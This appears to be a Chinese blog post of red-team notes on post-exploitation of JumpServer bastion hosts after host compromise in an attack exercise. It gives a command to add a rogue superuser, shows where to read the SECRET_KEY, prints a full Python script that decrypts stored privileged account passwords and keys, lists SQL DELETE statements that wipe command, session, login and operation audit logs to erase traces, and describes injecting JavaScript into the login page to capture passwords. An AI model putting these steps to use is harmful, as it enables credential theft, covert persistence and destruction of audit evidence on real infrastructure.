jumpserver后渗透
前言:这个星期比赛刚打完,实战攻击链路外网打点,内网中拿到了jumpserver主机权限,但是在没有jumpserver用户的时候无法进行登录堡垒机中的机器的问题,当时操作比较粗暴直接上机器通过manager脚本来添加用户,这边写笔记来记录一些比较好的方法
参考文章:https://mp.weixin.qq.com/s/OwSZWCshBKJW0b5du7Juhw
参考文章:https://guage.cool/jumpserver/
参考文章:https://github.com/jumpserver/jumpserver/issues/6407
参考文章:https://forum.butian.net/share/4017
jumpserver
引出一个小问题,跳板机和堡垒机的区别?
跳板机就是一台服务器,维护人员在维护过程中,首先要统一登录到这台服务器上,然后从这台服务器再登录到目标设备进行维护。但跳板机的缺点是没有实现对运维人员操作行为的控制和审计,出现误操作或违规操作难以定位到原因和责任人;并且跳板机存在严重的安全风险,如果跳板机系统被攻入,则后端资源完全暴露无遗。
堡垒机,即在一个特定的网络环境下,为了保障网络和数据不受来自外部和内部用户的入侵和破坏,而运用各种技术手段实时收集和监控网络环境中每一个组成部分的系统状态、安全事件、网络活动,以便集中报警、及时处理及审计定责,有效降低了运维操作风险,使得运维操作管理变得更简单、更安全,但是其实堡垒机存在严重的安全风险的话,后端资源也同样暴露无遗。
简单的总结下跳板机仅仅实现了服务器登录安全,但是没有实现对于运维人员行为的操控和审计,而堡垒机有。
jumpserver环境docker搭建
这边环境搭建参考官方文档:https://docs.jumpserver.org/zh/v3/installation/setup_linux_standalone/online_install/#1
我这边搭建的是2.14.1,下载的地址就可以是https://github.com/jumpserver/jumpserver/releases/download/v2.14.1/quick_start.sh
jumpserver暴力方法
如果有主机权限的话,那么直接在jumpserver/core容器下面添加一个用户zpchcbd管理员
python manage.py createsuperuser --username=zpchcbd --email=zpchcbd@doamin.com
但是此时发现zpchcbd用户还不可以访问堡垒机的主机
这边的话可以在web界面中给zpchcbd用户授权可登录的机器即可,但是这种行为比较粗暴并且创建的用户可能引起管理员的注意,这边再提下这边除了创建管理员,其实还可以修改用户,不过动作都是很大
jumpserver隐蔽方法(解密代码只能用于jumpserverV2版本,V3版本未测试)
上面的暴力方法的情况下只能用在有主机权限的情况下,这边的话再介绍一个隐蔽的方法
获取SECRET_KEY
在/opt/jumpserver/config/config.txt中可获取到SECRET_KEY
解密私钥
查询assets_systemuser表中的特权用户的信息
select * from assets_systemuser;
jumpserver核心的加解密代码在:https://github.com/jumpserver/jumpserver/blob/master/apps/common/utils/crypto.py
将上面的部分放到代码中进行解密即可,结果如下所示
import json import base64 from Cryptodome.Cipher import AES from Cryptodome.Util.Padding import pad from Cryptodome.Random import get_random_bytes from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT def signer_decode(val: str): data = val.split(".")[1] data = data + "=" * (-len(data) % 4) return json.loads(base64.b64decode(data)) def process_key(key): """ 返回32 bytes 的key """ if not isinstance(key, bytes): key = bytes(key, encoding='utf-8') if len(key) >= 32: return key[:32] return pad(key, 32) class BaseCrypto: def encrypt(self, text): return base64.urlsafe_b64encode( self._encrypt(bytes(text, encoding='utf8'))).decode('utf8') def _encrypt(self, data: bytes) -> bytes: raise NotImplementedError def decrypt(self, text): return self._decrypt( base64.urlsafe_b64decode(bytes(text, encoding='utf8'))).decode('utf8') def _decrypt(self, data: bytes) -> bytes: raise NotImplementedError class GMSM4EcbCrypto(BaseCrypto): def __init__(self, key): self.key = process_key(key) self.sm4_encryptor = CryptSM4() self.sm4_encryptor.set_key(self.key, SM4_ENCRYPT) self.sm4_decryptor = CryptSM4() self.sm4_decryptor.set_key(self.key, SM4_DECRYPT) def _encrypt(self, data: bytes) -> bytes: return self.sm4_encryptor.crypt_ecb(data) def _decrypt(self, data: bytes) -> bytes: return self.sm4_decryptor.crypt_ecb(data) class AESCrypto: """ AES 除了MODE_SIV模式key长度为:32, 48, or 64, 其余key长度为16, 24 or 32 详细见AES内部文档 CBC模式传入iv参数 本例使用常用的ECB模式 """ def __init__(self, key): if len(key) > 32: key = key[:32] self.key = self.to_16(key) @staticmethod def to_16(key): """ 转为16倍数的bytes数据 :param key: :return: """ key = bytes(key, encoding="utf8") while len(key) % 16 != 0: key += b'\0' return key # 返回bytes def aes(self): return AES.new(self.key, AES.MODE_ECB) # 初始化加密器 def encrypt(self, text): aes = self.aes() return str(base64.encodebytes(aes.encrypt(self.to_16(text))), encoding='utf8').replace('\n', '') # 加密 def decrypt(self, text): aes = self.aes() return str( aes.decrypt(base64.decodebytes(bytes( text, encoding='utf8'))).rstrip(b'\0').decode("utf8")) # 解密 class AESCryptoGCM: """ 使用AES GCM模式 """ def __init__(self, key): self.key = process_key(key) def encrypt(self, text): """ 加密text,并将 header, nonce, tag (3*16 bytes, base64后变为 3*24 bytes) 附在密文前。解密时要用到。 """ header = get_random_bytes(16) cipher = AES.new(self.key, AES.MODE_GCM) cipher.update(header) ciphertext, tag = cipher.encrypt_and_digest( bytes(text, encoding='utf-8')) result = [] for byte_data in (header, cipher.nonce, tag, ciphertext): result.append(base64.b64encode(byte_data).decode('utf-8')) return ''.join(result) def decrypt(self, text): """ 提取header, nonce, tag并解密text。 """ metadata = text[:72] header = base64.b64decode(metadata[:24]) nonce = base64.b64decode(metadata[24:48]) tag = base64.b64decode(metadata[48:]) ciphertext = base64.b64decode(text[72:]) cipher = AES.new(self.key, AES.MODE_GCM, nonce=nonce) cipher.update(header) plain_text_bytes = cipher.decrypt_and_verify(ciphertext, tag) return plain_text_bytes.decode('utf-8') def get_aes_crypto(key, mode='GCM'): if mode == 'ECB': a = AESCrypto(key) elif mode == 'GCM': a = AESCryptoGCM(key) return a def get_gm_sm4_ecb_crypto(key): return GMSM4EcbCrypto(key) class Crypto: def __init__(self, cryptoes): self.cryptoes = cryptoes @property def encryptor(self): return self.cryptoes[0] def encrypt(self, text): return self.encryptor.encrypt(text) def decrypt(self, text): for decryptor in self.cryptoes: try: origin_text = decryptor.decrypt(text) if origin_text: # 有时不同算法解密不报错,但是返回空字符串 return origin_text except (TypeError, ValueError, UnicodeDecodeError, IndexError): continue if __name__ == "__main__": # SECRET_KEY key = 'jM4YjFmYTE5OWRjODcyYTdkZWE2NjMxOGNhN2EyYWFmOTWE2N' # private_key 或 password 在数据库里的值 data = [ 'eyJhbGciOiJIUzI1NiJ9.InBhc3N3b3JkIg.ME3PUOsChmTHlWimu8W1K6pTUgm9fKPnuzyQKglA7ww', 'Dz6x4Uf+fUT7S/djyxv82w==' ] crypto = Crypto([ get_aes_crypto(key, mode='ECB'), get_aes_crypto(key, mode='GCM'), get_gm_sm4_ecb_crypto(key), ]) for d in data: if d.count(".") == 2: print('by signer:', signer_decode(d)) else: print('by crypto:', crypto.decrypt(d))
2023国护网添加笔记
痕迹抹除
清理服务器终端监控执行命令表记录
DELETE FROM `terminal_command` where `user` = "liulei(liulei)";
清理服务器登陆会话表记录
DELETE FROM `terminal_session` where `user` = "liulei(liulei)";
清理web/keke用户登陆表记录
DELETE FROM `audits_userloginlog` where `username` = "liulei";
清理服务器授权表记录
DELETE FROM `audits_operatelog` where `user` = "liulei(liulei)";
清理用户密码修改表记录
DELETE FROM `audits_passwordchangelog` where `user` = "(liulei)";
清理用户密码历史表记录
SELECT * FROM `users_user` where `username` = "liulei"; DELETE FROM `users_userpasswordhistory` where `user_id` = "9eeb8ccb34894f2297a70d3c9a859f5b";
清理用户表记录
SELECT * FROM `users_user` where `username` = "liulei"; DELETE FROM `orgs_organization_members` where `user_id` = "9eeb8ccb34894f2297a70d3c9a859f5b"; DELETE FROM `users_user` where `username` = "liulei";
挂载js登陆密码
登陆jumpserver有两种方法,一种是直接通过web界面进行登陆,这边介绍js挂载web界面钓鱼
挂载js位置:/opt/jumpserver/apps/authentication/templates/authentication/index.html
注意点:只能在已存在文件上进行修改
编译koko替换原版获取登陆密码
第二种方法就是一种是直接通过koko服务来直接登陆,还没测试,放着先,护网中也没用到
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
2020-03-25 网展cms红色风格V4.2 前台命令执行
2020-03-25 网展cms红色风格V4.2 前台多处SQL注入